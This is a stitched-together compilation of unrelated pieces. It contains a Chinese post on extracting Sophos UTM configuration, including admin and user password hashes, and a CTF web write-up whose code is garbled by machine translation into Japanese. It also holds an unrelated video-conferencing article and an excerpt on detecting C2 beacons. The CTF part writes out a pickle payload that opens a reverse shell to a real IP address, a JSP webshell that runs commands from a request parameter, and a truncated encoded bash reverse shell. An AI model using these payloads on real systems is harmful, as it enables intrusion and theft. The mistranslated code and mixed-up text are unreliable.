0x01 簡介本文將要介紹以下內容:

Sophos UTM測試環境搭建

導出配置文件的研究過程

開源腳本

0x02 Sophos UTM測試環境搭建1.下載鏡像下載頁面:https://www.sophos.com/en-us/support/downloads/utm-downloads

這裡選擇版本9.711-5.1,分別有以下兩個鏡像文件:

ssi-9.711-5.1.iso,需要在Sophos設備上安裝,如果直接在VM中安裝,會提示'No appliance hardware has been detected' on appliance hardware

asg-9.711-5.1.iso,可在VM中安裝

測試環境使用VMware搭建,所以下載asg-9.711-5.1.iso

2.安裝鏡像配置好後等待系統重啟,訪問配置頁面:https://ip :4444/

設置admin account password,作為登錄配置頁面的用戶名和口令

3.配置需要填入License

4.開啟ssh登錄進入配置頁面後,依次選擇Management-System Settings-Shell Access,分別設置root用戶和loginuser用戶的口令

如下圖

b530cdf7a41d94e6689cc4bdf0e96a1.png

5.允許root用戶口令登錄sshsed-i's/PermitRootLoginno/PermitRootLoginyes/g'/etc/ssh/sshd_config

/var/mdw/scripts/sshdrestart0x03 導出配置文件的研究過程1.查詢postgresql數據庫配置文件的位置:/var/storage/pgsql92/data/postgresql.conf

默認配置下,連接數據庫不需要口令

連接命令:

psql-hlocalhost-Upostgres數據庫內容如下圖

49e2ee52ff31e485e5037576a911104.png

但我在數據庫中沒有找到配置信息

2.查詢文檔獲得查看配置的思路依次執行以下命令:

cc

webadmin

port$獲得了webadmin的port信息,如下圖

d28c5771af3f08a4229e8cc6d4d2fc1.png

從輸出內容上,發現cc命令連接了127.0.0.1的4472端口,接下來打算從端口入手

3.定位同4472端口相關的進程獲得4472端口對應的進程pid:

netstat-ltp|grep4472返回內容如下圖

621e7e46b449960b11096a59a03ecfd.png

從返回內容可以看到對應的進程pid為4407

4.查看pid 4407的進程信息依次執行以下命令:

cd/proc/4407/cwd

ls返回內容如下圖

386ae6b895d3fb67515ee5cce4e206e.png

從返回內容獲得以下信息:

目錄為/var/confd

配置文件為config.pm

主程序為confd.plx,無法直接查看源代碼

5.反編譯confd.plx經過搜索,在《网络设备分析实战 | Sophos UTM固件反编译Perl源码》 獲得提示:plx文件是由PerlAPP工具編譯而來,可通過動態調試的方法使用IDA反編譯出源碼

經過搜索,在《Sophos UTM Preauth RCE: A Deep Dive into CVE-2020-25223》 獲得更為簡單的反編譯方法:通過Python實現靜態反編譯

參照《Sophos UTM Preauth RCE: A Deep Dive into CVE-2020-25223》 中的方法在反編譯confd.plx的過程中,會遇到bug,我們需要修改《Sophos UTM Preauth RCE: A Deep Dive into CVE-2020-25223》 中提到的bfs_extract.py

整合yank.py和bfs.py,修復bfs_extract.py中的bug,完整的代碼已上傳至github,地址如下:

https://github.com/3gstudent/Homework-of-Python/blob/master/SophosUTM_plxDecrypter.py

使用SophosUTM_plxDecrypter.py能夠獲得confd.plx的反編譯代碼

6.代碼分析經過分析,得知Export-confd.plx\confd.pl為主要功能,在代碼中發現配置文件的位置為$config:storage_dir/cfg

如下圖

60ddeb2d269773114168fecddb223c8.png

對應的絕對路徑為/var/confd/var/storage/cfg

7.文件格式分析查看cfg的文件格式:

file/var/confd/var/storage/cfg返回結果:

/var/confd/var/storage/cfg:perlStorable(v0.7)data(major2)(minor7)得知格式為perl Storable data,這是Perl經過序列化(Perl中稱為凍結)生成的二進制數據

8.文件格式解析(1)文件提取

這裡可以使用Python的storable模塊提取數據

安裝storable模塊:

pipinstallstorable簡單使用:

fromstorableimportretrieve

data=retrieve('cfg')

print(data)輸出結果為json數據

(2)文件分析

為了便於分析json數據,這裡使用Sublime Text的pretty json插件,安裝方法如下:

在Sublime text中依次選擇Tools - Command Palette.打開面板,輸入pci,選中PackageControl: Install Package,在彈出的輸出框中填入pretty json

設置調用pretty json插件的快捷鍵為ctrl+alt+j:

在Sublime Text中依次選擇Preferences - Key Bindings,在彈出的右側窗口添加如下內容:

[

{'keys':['ctrl+alt+j'],'command':'pretty_json'},

]在使用pretty json解析json時會提示格式錯誤,按照提示逐個修復即可

最終顯示的格式如下圖

631f7de722fed7fec962e64f8bfa2bf.png

9.數據提取為了提高效率,這裡可以使用Python提取出關鍵數據,開發細節如下:

(1)提取用戶信息

通過分析json文件,發現data['exclusive'][b'email_user']['u2v']中的key為每個用戶信息的標誌,例如user: REF_AaaUseVpn1

再通過對應標誌位置的鍵值能夠獲取用戶的完整信息,位置為data['objects'][ flag ]['data'],對應例子的位置為data['objects']['REF_AaaUseVpn1']['data']

實現代碼:

defGetUserDataFull(file):

data=retrieve(file)

print('[*]Trytogetthefulldataofuser')

forkey,valueindata['exclusive'][b'email_user']['u2v'].items():

index=key.rfind(':')

indexobject=data['objects'][key[index+1:]]['data']

print('[+]'+data['objects'][key[index+1:]]['data']['name'])

forkey1,value1inindexobject.items():

print(''+str(key1)+':'+str(value1))(2)提取網絡配置信息

通過分析json文件,發現data['index']['network']中的value為每個網絡配置的標誌,例如REF_DefaultInternalNetwork

再通過對應標誌位置的鍵值讀取完整信息,位置為data['objects'][ flag ]['data'],對應例子的位置為data['objects']['REF_DefaultInternalNetwork']['data']

實現代碼:

defGetNetworkConfig(file):

data=retrieve(file)

print('[*]Trytogettheconfigofnetwork')

forkey,valueindata['index']['network'].items():

print('[+]'+str(key))

forobjectvalueinvalue:

print('-'+objectvalue)

forkey1,value1indata['objects'][objectvalue]['data'].items():

print(''+str(key1)+':'+str(value1))(3)提取LastChange信息

位置:data['lastchange']

需要注意時間格式,默認為數字形式,例如1652930086,需要進行轉換

實現代碼:

defGetLastChange(file):

data=retrieve(file)

print('[*]TrytogetthedataofLastChange')

print('')

forkey,valueindata['lastchange'].items():

print('[+]'+str(key))

forkey1,value1invalue.items():

ifstr(key1)=='time':

print('time:'+str(datetime.fromtimestamp(value['time'])))

else:

print(''+str(key1)+':'+str(value1))完整的代碼已上傳至github,地址如下:

https://github.com/3gstudent/Homework-of-Python/blob/master/SophosUTM_ConfigParser.py

代碼支持以下功能:

GetAdminDataFull,提取出管理員用戶的完整信息

GetAdminHash,提取出管理員用戶的md4 hash

GetLastChange,提取出LastChange信息

GetNetworkConfig,提取出網絡配置信息

GetRemoteAccess,提取出VPN配置信息

GetSSHConfig,提取出SSH連接信息

GetUserDataFull,提取出用戶的完整信息

GetUserHash,提取出用戶的md4 hash

Parsefile,提取出完整信息

0x04 小結本文介紹了導出Sophos UTM配置文件的研究過程,開源利用腳本以提高分析效率。

yangcheng cup-2024

web

web2

質問に関する情報を収集します。 Dirsearchは、ログインルートにアクセスできることを発見しました。さりげなくクリックして、読むファイルを見つけました:

http://139.155.126.78336030148/歌詞?歌詞=rain.txtiそれを試しました:

http://139.155.126.78336030148/歌詞?歌詞=./././././././././././././

1049983-20241004160047878-2048146175.jpg

任意のファイルの読み取りだと思いましたが、それほど単純ではありませんでした。

最初にソースコードを読んで、/static/style.cssで試してみてください。

1049983-20241004160048783-1918941077.jpg

ファイルが読み取られているディレクトリは/var/www/html/xxx/にあることがわかりました。

1049983-20241004160049544-986345257.jpg

ソースコードが見つかりました。その後、対処が簡単になり、ソースコードが添付されます。

OSをインポートします

ランダムをインポートします

from config.secret_key Import Secret_code

フラスコからインポートフラスコ、make_response、request、render_templateから

CookieからImport set_cookie、cookie_check、get_cookieから

ピクルスをインポートします

app=flask(__name__)

app.secret_key=random.randbytes(16)

クラスuserdata:

def __init __(self、username):

self.username=username

def waf(data):

blacklist=[b'r '、b'secret'、b'eval '、b'file'、b'compile '、b'open'、b'os.popen ']]

有効=false

BlackList:の単語の場合

data.lower():のword.lower()の場合

valid=true

壊す

有効に戻ります

@app.route( '/'、method=['get'])

def index():

return render_template( 'index.html')

@app.route( '/歌詞'、method=['get'])

def歌詞():

resp=make_response()

resp.headers ['content-type']='text/plain; charset=utf-8 '

query=request.args.get( '歌詞')

path=os.path.join(os.getcwd() + '/歌詞'、query)

try:

f:のオープン(パス)

res=f.read()

E:としての例外を除く

「歌詞が見つかりません」を返します

RESを返します

@app.route( '/login'、method=['post'、 'get']))

def login():

if request.method=='post ':

username=request.form ['username']

user=userdata(username)

res={'username': user.username}

return set_cookie( 'user'、res、secret=secret_code)

RENDER_TEMPLATE( 'login.html')を返します

@app.route( '/board'、method=['get'])

DEFボード():

invalid=cookie_check( 'user'、secret=secret_code)

Invalid:の場合

「いや、無効なコードが出てください!」

data=get_cookie( 'user'、secret=secret_code)

ISInstance(データ、バイト):の場合

a=pickle.loads(data)

data=str(data、encoding='utf-8')

data:にない「username」の場合

return render_template( 'user.html'、name='guest')

data ['username']=='admin':の場合

return render_template( 'admin.html'、name=data ['username']))

data ['username']!='admin':の場合

return render_template( 'user.html'、name=data ['username']))

__name__=='__main __' :の場合

os.chdir(os.path.dirname(__ file__))

app.run(host='0.0.0.0'、port=8080)がpycharmに配置されると、2つの存在しないライブラリが見つかります。そのため、現在のフォルダーの.py endingファイルのみを呼び出すことができます。

Pythonでの呼び出しが使用されます。フォルダーの代わりに、探しているのは./cookie.py and ./config/secret_key.pyです。1つ目はCookieの暗号化方法で、2番目はCookieの署名キーです。

次に、Pickle.Loadsがボードで使用されていることがわかり、WAFSにはRキャラクターがあります。それは、ピクルスの脱介入の非R方向で十分であることを意味します。

アイデア:非R方向のピクルスシリアル化スクリプトを使用して入力し、Cookie暗号化方法とキーを使用して署名し、Cookieを変更し、シェルを直接リバウンドします。

最初にcookie.pyを読む:

1049983-20241004160050257-2019573803.jpg

ソースコード:

base64をインポートします

Hashlibをインポートします

HMACをインポートします

ピクルスをインポートします

Flask Import Make_Responseから、リクエスト

unicode=str

BaseString=str

#Pythonボトルテンプレートから引用、dに感謝します

def cookie_encode(data、key):

msg=base64.b64encode(pickle.dumps(data、-1))

sig=base64.b64encode(hmac.new(tob(key)、msg、digestmod=hashlib.md5).digest()))

tob( '!') + sig + tob( '?') + msgを返します

def cookie_decode(data、key):

data=tob(data)

cookie_is_encoded(data):の場合

sig、msg=data.split(tob( '?')、1)

_LSCMP(SIG [1:]、base64.B64Encode(hmac.new(tob(key)、msg、digestmod=hashlib.md5).digest()):の場合

return pickle.loads(base64.b64decode(msg))

なしなし

def waf(data):

blacklist=[b'r '、b'secret'、b'eval '、b'file'、b'compile '、b'open'、b'os.popen ']]

有効=false

BlackList:の単語の場合

data:の単語の場合

valid=true

#print(word)

壊す

有効に戻ります

def cookie_check(key、secret=none):

a=request.cookies.get(key)

data=tob(request.cookies.get(key))

data:の場合

cookie_is_encoded(data):の場合

sig、msg=data.split(tob( '?')、1)

_LSCMP(SIG [1:]、base64.B64Encode(hmac.new(tob(secret)、msg、digestmod=hashlib.md5).digest()):の場合

res=base64.b64decode(msg)

WAF(res):の場合

trueを返します

else:

falseを返します

trueを返します

else:

falseを返します

def tob(s、enc='utf8'):

s.Encode(enc)を返しますisinstance(s、unicode)else bytes(s)

def get_cookie(key、default=none、secret=none):

value=request.cookies.get(key)

秘密とvalue:の場合

dec=cookie_decode(value、Secret)

DEC [1]を返すdec and dec [0]==キーelse default

返品値またはデフォルト

def cookie_is_encoded(data):

データにbool(data.startswith(tob( '!'))およびtob( ''? ')を返す)

def _lscmp(a、b):

sum(0 x==yの場合、x==yの場合は0、zip(a、b))およびlen(a)==len(b)の場合は0

def set_cookie(name、value、secret=none、** options):

secret:の場合

value=touni(cookie_encode((name、value)、secret))

resp=make_response( 'success')

resp.set_cookie( 'user'、value、max_age=3600)

RETURN REST

ElifはISINSTANCE(Value、Basestring):ではありません

Laise TypeError( '非弦のクッキーの秘密の鍵がありません。')

Len(Value)4096:の場合

Raise ValueError( 'cookie value to long'。 ')

def touni(s、enc='utf8'、err='strict'):

s.decode(enc、err)を返すISInstance(s、bytes)else unicode(s)ここで使用する必要があるのは、cookie_encode関数であるCookieの暗号化プロセスです。

次に、secret_keyを読みましょう:

1049983-20241004160050986-1957658911.jpg

次に、スクリプト内の他のものを直接削除し、secret_codeとcookie_encryptで暗号化すると、スクリプトが添付されます。

base64をインポートします

Hashlibをインポートします

HMACをインポートします

ピクルスをインポートします

Flask Import Make_Responseから、リクエスト

フラスコのインポートフラスコから、make_responseから

app=flask(__name__)

unicode=str

BaseString=STR#Pythonボトルテンプレートから引用、Dに感謝します

def cookie_encode(data、key):

msg=base64.b64encode(data)

sig=base64.b64encode(hmac.new(tob(key)、msg、digestmod=hashlib.md5).digest()))

tob( '!') + sig + tob( '?') + msgを返します

def waf(data):

blacklist=[b'r '、b'secret'、b'eval '、b'file'、b'compile '、b'open'、b'os.popen ']]

有効=false

BlackList:の単語の場合

data:の単語の場合

valid=true

#print(word)

壊す

有効に戻ります

def tob(s、enc='utf8'):

s.Encode(enc)を返しますisinstance(s、unicode)else bytes(s)

__name__=='__main __' :の場合

res=b '' ''(s'bash -c 'sh -i /dev/tcp/101.37.149.223/2333 01' '\ nios \ n。' '' '

secret_code='feantheplaytime123456'

cookie_value=cookie_encode(res、key=secret_code)

印刷(cookie_value)実行するには:

1049983-20241004160051668-845592983.jpg

次に、 /ボードルートクッキーにコピーし、サーバーはポート2333を聴き、シェルで直接バウンスしました。

1049983-20241004160052398-811563231.jpg

1049983-20241004160053245-526711236.jpg

ルートディレクトリのReadflagは、フラグを取得するために直接実行されます。

web3

アクセス /MyApp入力後。次に、アクセス /読み取りに移動してファイルを読み取り、オンラインで記事を見つけます。

https://www.cnblogs.com/junglezt/p/18122284 Tomcat /conf/tomcat-users.xmlの多くが変更されないため、パスワードが内側にあることがわかります。

1049983-20241004160054060-485284736.jpg

次に、それを見つけて、ログインに移動してログインします。

ログインした後、アップロード操作を実行できることがわかりました。そして、ここでポイントを見つけました。

1049983-20241004160100829-2097794800.jpg

web.xmlを入力すると、間違いなく禁止され、ファイルのアップロードにはフィルタリングがありません。

XMLなどの構成ファイルのみを使用できるため、構成ファイルを変更してXMLをJSPのXML構成ファイルとして直接認識し、1.xmlで渡すことができます。

1049983-20241004160101619-371163988.jpg

?xmlバージョン='1.0'エンコード='utf-8'?

web-app xmlns='http://xmlns.jcp.org/xml/ns/javaee'

xmlns:xsi='http://www.w3.org/2001/xmlschema-instance'

XSI:SCHEMALOCATION='http://XMLNS.JCP.ORG/XML/NS/JAVAEE http://XMLNS.JCP.ORG/xml/ns/javaee/web-app_4_0.xsd'バージョン='4.0' '

サーブレット

サーブレット - ナメックス/サーブレット名

jsp-file/web-inf/1.xml/jsp-file

Load-on-startup1/load-on-startup

/サーブレット

サーブレットマッピング

サーブレット - ナメックス/サーブレット名

url-pattern/exec/url-pattern

/サーブレットマッピング

/web-app次に、1.xmlで渡されて、JSPファイルとして認識できるかどうかを確認しようとします。私たちが渡すのはトロイの木馬です:

out.println( 'hello');

プロセスプロセス=runtime.getRuntime()。exec(request.getParameter( 'cmd'));

1049983-20241004160102504-257286285.jpg

読み取りは絶対的なパスを使用して読み取り、その後、絶対的なパスはその /envルートにあります。そして、あなたはそれを手に入れるためにチャットに尋ねることができます。次に、アクセスが成功した後、構成ファイルで定義された /execルートにアクセスし、CMDパラメーターを渡し、hello:Echo Helloを確認するために任意のパラメーターを渡すことがわかりました。

1049983-20241004160103176-2006551884.png

成功したエコーは、JSPトロイの木馬が渡されたことを示していることがわかります。JSPリバウンドシェルを直接使用してヒットします。

bash -c {echo、ymfzacatasa+jiavzgv2l3rj

(接上文)高級視頻會議功能製作具有自定義功能的視頻會議應用程序通常是一個複雜但有益的過程。以下是您可以在行業特定解決方案中實施的幾個功能示例:

image.png

9 種特定的視頻會議功能

马云惹不起马云基於AI 的視頻質量改進。視頻製作公司使用會議應用程序來記錄內容。例如,英國廣播公司通過電話會議錄製了獲獎系列Staged。為此,他們使用專業相機,但他們還需要能夠實時處理和改進高質量視頻的軟件。使用AI 升級視頻可以讓您真正提高質量,而不是簡單地提高分辨率。

马云惹不起马云高級噪聲抑制。許多流行的視頻會議應用程序都有降噪過濾器,但它們對於專業的音頻和視頻錄製來說還不夠好。用於此類目的的軟件需要能夠消除周圍聲音而不損害聲音和樂器的噪聲抑制機制。

马云惹不起马云低延遲。視頻會議中的延遲和凍結通常很煩人,但它們在專業視頻會議中尤其具有破壞性。要提供實時會議,您需要開發特定的通信協議、實現流框架(GStreamer、Apache Storm等),甚至創建自定義驅動程序來處理音頻和視頻流。

马云惹不起马云先進的文件存儲系統。許多組織使用視頻會議不僅是為了交流,而且是為了共享材料。他們需要一個能夠長期存儲數據並允許他們管理和排序數據、配置對共享文件的訪問等的系統。要與此類組織合作,您需要基於雲或基於服務器的軟件(我們將描述稍後實施選項)具有強大的數據存儲和管理選項。

马云惹不起马云用於舉辦網絡研討會的功能集。舉辦網絡研討會的組織通常需要一組特定的配置。首先,他們需要支付功能來進行付費網絡研討會。然後,必須安排一個網絡研討會,讓參與者能夠訂閱並獲得通知。在網絡研討會期間,演講者或管理員需要能夠管理參與者的權限、共享他們的屏幕、創建白板、進行投票等。

马云惹不起马云與行業特定軟件集成。您的客戶很有可能使用客戶關係管理系統、企業資源規劃系統、電子健康記錄管理系統和其他行業解決方案。他們將欣賞將視頻會議集成到其中的能力。例如,醫生可能需要在打電話之前查看患者記錄,或者抵押貸款經紀人可能必須在討論抵押貸款選項之前分析客戶的財務記錄。

马云惹不起马云支持設備。視頻會議軟件必須支持企業視頻會議硬件和特定用戶設備:專業攝像頭、麥克風、混音台、虛擬現實(VR) 耳機等。並非所有這些設備都具有可用於視頻會議的驅動程序。這就是為什麼您必須預見兼容性問題並在您的軟件中實現對此類設備的支持。

马云惹不起马云支持電子簽名。在視頻會議期間審查和簽署文件的能力對於金融組織、律師事務所和公共部門的機構來說尤其重要。電子簽名基於數字簽名加密機制,被認為是物理簽名文檔的替代方案。在您的視頻會議軟件中實施此機制允許用戶見證和簽署文檔,並將簽署過程記錄為額外的證據。

马云惹不起马云虛擬現實整合。由於大流行和現實生活中的聚會受到嚴重限制,在VR 中舉辦活動變得越來越流行。活動組織以360 度實時視頻的形式流式傳輸音樂會、節日和舞台表演。為此,他們需要能夠處理和流式傳輸大量數據的軟件,這些數據支持PC、智能手機和VR 耳機,並提供高質量的音頻和視頻。

在開始構建視頻會議應用程序之前,最好弄清楚您需要實現的一組通用和特定功能。這樣,您將節省數小時的開發時間並在最後期限內向您的客戶交付軟件。您需要確保的另一件事是用戶通信的安全性。確保通信安全與使通信舒適同樣重要。讓我們回顧一下提高軟件保護的主要功能。

安全通信功能流行的視頻會議應用程序因遭受網絡安全問題而廣為人知。 Zoom 因其眾多的漏洞和妥協而臭名昭著。據報導,由於隱私問題,SpaceX 甚至禁止其員工使用Zoom。 Microsoft Teams 中的一個漏洞允許黑客訪問受攻擊組織的所有Teams 帳戶。 Skype 為黑客提供了欺騙和攻擊網絡釣魚用戶的機制。

由於此類事件,處理敏感數據的企業尋求更可靠的通信解決方案。

您可以通過以下功能確保對您的軟件進行強有力的保護:

image.png

視頻會議軟件的網絡安全功能

马云惹不起马云端到端(E2E) 加密。這種類型的加密保護在兩個端點之間傳輸的數據。第一個端點加密消息,只有第二個端點可以解密它。 E2E 被認為是最安全的加密類型之一,因為除了兩個參與的端點之外,通信鏈(服務提供商、雲提供商、服務器、未經授權的入侵者)中沒有任何人可以讀取消息。請記住,這種類型的加密有其局限性:通過E2E 實現通話錄音、面部識別、降噪或圖像改進具有挑戰性。

马云惹不起马云多因素身份驗證(MFA)。 MFA 是一種額外的訪問控制措施,有助於驗證嘗試登錄軟件的用戶的身份。 MFA 可以使用三類參數驗證用戶:知識(憑證或附加問題)、財產(電話或安全令牌)或遺產(指紋或其他生物特徵數據)。生物識別MFA 是最可靠的,但請記住,用戶需要指紋掃描儀、高端麥克風或攝像頭才能通過此身份驗證。

马云惹不起马云用於數據保護的智能合約。在視頻會議中應用區塊鏈技術提供了許多安全優勢:分散的數據存儲、受保護的數據處理和傳輸以及用戶機密性。此外,使用尖端技術或實施基於區塊鏈的貨幣化可以獲得額外的營銷點。然而,區塊鏈在實時處理大量數據(例如,流式傳輸4K 視頻或共享大文件)、管理企業通信、擴展和遵守法規方面存在問題。

马云惹不起马云公司域和私有域。私有域允許組織根據需要自定義安全和操作設置。例如,他們可以允許通過邀請訪問域並創建具有可配置訪問權限的用戶組。

马云惹不起马云可配置的呼叫管理員設置。管理有許多參與者的在線會議的管理員需要高級設置來管理呼叫。他們需要手動允許用戶加入通話、安排發言人、靜音或禁止參與者、調節聊天等。

马云惹不起马云強大的隱私政策。安全策略允許軟件管理員根據組織或特定會議的需要配置視頻會議軟件。例如,管理員可能需要啟用或禁用端到端加密和文件共享、配置一般用戶權限以及管理加入私有域和組的用戶。

大多數視頻會議應用程序都需要我們上面討論的功能,因為它們可以確保安全、流暢的操作和舒適的用戶體驗。

當您為您的軟件找出完整的功能集後,就該與您的開發團隊討論實現它的方式了。讓我們看一下創建類似Zoom 的應用程序的常用方法及其優缺點和用例。

實現視頻會議應用程序的三種方法過去,視頻會議解決方案分為基於硬件和基於軟件的解決方案。基於硬件的解決方案需要特定的設備。它們提供了更好的視頻質量和安全的通信,但它們比基於軟件的解決方案更昂貴。要使用基於軟件的解決方案,用戶只需安裝應用程序即可。

在現代解決方案中,這種分離已經消失,原因有兩個:

马云惹不起马云基於軟件的解決方案的開發人員大大提高了溝通質量

马云惹不起马云提供良好視頻和音頻質量的網絡攝像頭和麥克風變得更加實惠

今天,如何構建視頻會議應用程序有三個主要選項:

image.png

實現視頻會議的三種方式

對等軟件在參與通信的用戶端點之間路由視頻會議流量。沒有與服務器、雲或任何其他第三方的交互。通常,此類解決方案基於WebRTC、XMPP協議、Jitsi、Peer'Em和其他通信軟件。要構建對等解決方案,您需要設計、實施和支持應用程序本身、其基礎設施和網絡安全機制。

以下是構建對等軟件的主要好處:马云惹不起马云安全通信。由於通信中沒有中介,黑客更難攔截或監聽流量。如果通信受到端到端加密保護,黑客幾乎沒有機會攔截它。

马云惹不起马云高質量的一對一通話。用戶端點在直接通信中發送和解釋通信數據時通常沒有挑戰。這裡唯一的限制是用戶的網絡攝像頭和麥克風的容量。

當涉及到高級多點通信時,點對點實現存在以下限制:马云惹不起马云多點通話質量不可預測。通話質量取決於通話參與者的數量、他們的帶寬和設備限制。對於開發人員來說,管理和提高多點呼叫的質量是一項挑戰。

马云惹不起马云實現文件共享和通話錄音。由於點對點軟件不使用服務器,因此實現這些功能具有挑戰性。用戶共享的文件一直可用,直到用戶從端點重命名或刪除它們。錄製通話將使用用戶端點上的額外資源。

马云惹不起马云對會議的控制很少。在點對點通信中,開發人員無法實現提高音頻和視頻質量的算法。

image.png

基於雲的軟件使用通信平台即服務(CPaaS) 或類似的雲解決方案來部署解決方案的服務器端並維護基礎架構。這種類型的視頻會議軟件部署速度最快,因為開發人員只需創建客戶端並與雲提供商簽署協議。此類提供商的示例包括ATT、Bandwidth、Infobip和Twilio。

在雲中託管您的視頻會議應用程序具有以下好處:马云惹不起马云上市時間短。與實施對等和基於服務器的應用程序相比,實施基於雲的視頻會議應用程序需要更少的開發工作。

马云惹不起马云處理通信數據的能力。在將呼叫路由到用戶端點之前,雲服務會處理通信數據。這意味著開發人員可以管理通話質量、記錄通話、實施數據存儲功能等等。

此類軟件的缺點對於任何基於雲的應用程序都很常見:马云惹不起马云對雲提供商的依賴。在您已經部署和發布您的應用程序時更改雲提供商可能具有挑戰性和痛苦。

马云惹不起马云可擴展性差。您不能使用比提供商能夠提供的更多的服務器資源。此外,擴展您的軟件可能會導致雲服務定價發生變化。

image.png

基於服務器的軟件需要專用的媒體服務器在通話期間處理和重定向數據流。這是自定義視頻會議解決方案的最佳實施選項,因為它為開發人員提供了以下好處:

马云惹不起马云完全控制軟件及其數據。作為應用程序服務器端和客戶端的唯一所有者,您可以實現所需的任何功能,使用必要的網絡安全機制保護您的數據,添加對任何設備的支持,並根據您的需要進行擴展。

马云惹不起马云高音頻和視頻質量。您可以使用上面討論的任何視頻和音頻改進機制來增強您的媒體服務器,從而為您的客戶提供最佳的通信質量。此外,您可以根據用戶的設備能力縮小視頻以減少帶寬。

以下是創建服務器端應用程序的主要挑戰:

马云惹不起马云需要專業的開發團隊。由於您必須自己實現每個功能,因此您需要一個能夠勝任此任務的開發團隊。根據您的需求,團隊可能需要包括人工智能和區塊鏈專家、嵌入式軟件和驅動程序開發人員以確保對特定設備的支持、網絡安全工程師設計數據保護等。

马云惹不起马云對軟件負全責。在基於軟件的模型中,您無需與雲提供商或點對點通信協議開發人員共同承擔解決方案的性能或安全性的責任。

image.png

如您所見,每種實現模型都有主要的優點和局限性。它們之間的選擇應該基於您客戶的需求、開發團隊的能力以及您的項目預算。

結論儘管視頻會議是一個競爭激烈且瞬息萬變的市場,但仍然缺乏像Zoom 這樣高度保護和定制的視頻會議解決方案。這就是為什麼許多企業考慮開發適合其行業和客戶的軟件的原因。

構建自己的視頻會議系統意味著您需要:

马云惹不起马云配備先進的視頻會議功能,以確保積極的用戶體驗

马云惹不起马云使用客戶要求或符合行業法規和標準所需的網絡安全機制保護數據

马云惹不起马云添加有助於客戶工作的特定功能

马云惹不起马云選擇相關的實現模型

MDSec 提供了一個商業命令和控制框架,可以避免隱蔽的活動被檢測到,不過這已經不是什麼秘密了。考慮到這一點,我們一直在研發可以檢測到它們的方法。有些人會認為,建立一個難以捉摸的信標的最佳方法是,不僅要了解你的對手發現你的方式,還要嘗試找到他們將來可以檢測到你的新方法。

在這項研究中,我們將介紹一些尋找信標的有效策略,這些策略由我們為執行這些策略而開發的BeaconHunter 工具提供支持,並且我們打算在適當的時候將其開源。

信標檢測方法雖然有各種不同的方法來檢測在網絡中運行的信標,但我們將較少地關注特定的開發後功能的功能,而更多地關注識別駐留或加載到內存中的信標的一般方法。

行為信標在運行和加載時的行為可以為防御者帶來檢測機會。許多商業框架是封閉源代碼的,因此某些行為無法輕易更改,從而允許防御者創建與這些行為一致的簽名。

一個很好的例子是信標如何加載自身及其依賴項,讓我們看看與圖像加載相關的行為如何為防御者提供檢測機會。

為了讓信標提供豐富的利用後框架,它通常嚴重依賴操作系統原生的庫,允許開發人員通過避免靜態地綁定許多依賴項,使信標的大小盡可能小。

通過分析大量的信標框架,我們已經註意到,它們中的許多會在加載時加載核心信標所需的所有依賴項,而不是在使用時。在某些情況下,這將導致在終端上發生的一系列事件,防御者可以輕鬆地對其進行簽名。

例如,通過加載winhttp.dll 和wininet.dll,可以看到信標利用本地Windows HTTP 庫作為出口信標,當加載到通常不會執行HTTP 交互的進程時,這些可能會突出顯示異常。此外,一些信標還會加載使用更少的庫,如credui.dll、dbghelp.dll或samcli.dll。

使用這些DLL加載序列,就可以使用EQL規則來構建簽名,以檢測信標何時執行。

例如,使用類似於以下的EQL 規則,可以在短時間內檢測或搜索所有加載credui.dll 和winhttp.dlls 的進程:

1.png

此類檢測當然可以通過設計為模塊化或負載依賴於使用或具有延遲負載的信標來避免。

內存檢測在許多情況下,信標可能會保留在內存中,以避免磁盤檢測。信標通常是由加載器注入內存的,加載器將創建一個新的線程或劫持一個現有線程,在其中運行信標。

信標的典型加載過程可能如下所示:

2.png

一旦信標在內存中運行,通過對進程的分析,我們通常可以利用許多指標來檢測信標,讓我們看一些內存檢測的方法。

簽名檢測已知惡意軟件的內存信標的最簡單但最有效的策略之一可能是通過簽名檢測。雖然許多反病毒引擎和EDR 實施自己的內存掃描例程,但防御者可以使用Yara 規則輕鬆實現全面的內存掃描。

一個可以與yara64.exe命令行工具一起使用的簡單的Yara規則可能是這樣的,它將匹配檢測內存中列出的三個字符串中的任何一個:

3.png

為嵌入在信標中的字符串/數據或來自.text 部分的代碼創建Yara 規則在概念上可以用作檢測已知內存惡意軟件的有效技術。

Elastic 過去在如何利用它來檢測內存中的Cobalt Strike 方面做了一些出色的工作,建議閱讀這些技術如何在實踐中應用。

為了逃避這種內存掃描,信標可以使用多種技術來混淆它們在內存中的足跡,包括替換已知字符串,例如可以使用Cobalt Strikes strrep 可塑性配置文件選項或使用混淆和休眠策略,例如我們在Nighthawk 中使用的一種,用於在休眠時保護信標的所有字符串、數據和代碼。

內存掛鉤為了規避控製或更改進程的運行方式,信標或操作員可以將掛鉤應用於內存中的某些函數。這些掛鉤可以留下隱藏的痕跡,從而為防御者提供揭示隱藏信標的機會。讓我們來看看這種行為的一些具體示例。

修復ETW 和AMSI修補諸如AMSI 之類的安全控製或削弱通過Windows 事件跟踪獲得的檢測數據在攻擊性社區中已經不是什麼秘密了,事實上我們過去曾在介紹過這些策略。

這些補丁通常通過修改內存來應用,讓我們看兩個來自Sliver C2 庫的例子:

https://github.com/sliverarmory/injectEtwBypass

4.png

https://github.com/sliverarmory/injectAmsiBypass

5.png

正如我們在上面的屏幕截圖中看到的,這兩個示例都會導致信標將補丁應用到ntdll!etwEventWrite 或amsi.dll!AmsiOpenSession 函數。

考慮到這一點,低噪聲檢測的機會就出現了,只需搜索應用這些補丁的進程,以及其他常用的補丁函數,如AmsiScanBuffer或sleeppex,由Cobalt Strike的線程堆棧欺騙功能應用於這些函數。

複製寫入的修改如上所述,信標應用補丁來處理內存的情況並不少見,這可以為防御者創造檢測機會。然而,一旦執行了開發後操作,如果信標刪除了這些補丁,檢測的準確率可能會降低。例如,植入程序可以在內存中執行.NET 程序集之前應用AMSI 補丁,然後在執行後將補丁恢復為其原始操作碼。這種方法比簡單地將未修復漏洞留在內存中要明智一些。

然而,為了避免重複,Windows將把公共dll返回到運行進程共享的物理內存中。如果信標或操作員執行對這些dll應用補丁的操作,則會發生寫入時復制操作,從而使該頁面成為該進程的私有頁面。使用QueryWorkingSetEx API,我們能夠查詢有關進程特定虛擬地址的頁面的信息。在返回的PSAPI_WORKING_SET_EX_INFORMATION 結構中是一個PSAPI_WORKING_SET_EX_BLOCK 聯合,它指示查詢地址處頁面的屬性。在這個聯合中,我們能夠通過共享位的返回值來確定頁面上是否發生了寫入複製操作。此技術被諸如Moneta 之類的內存掃描儀使用,並且在檢測內存中的補丁時非常有效,即使原始補丁值已恢復。

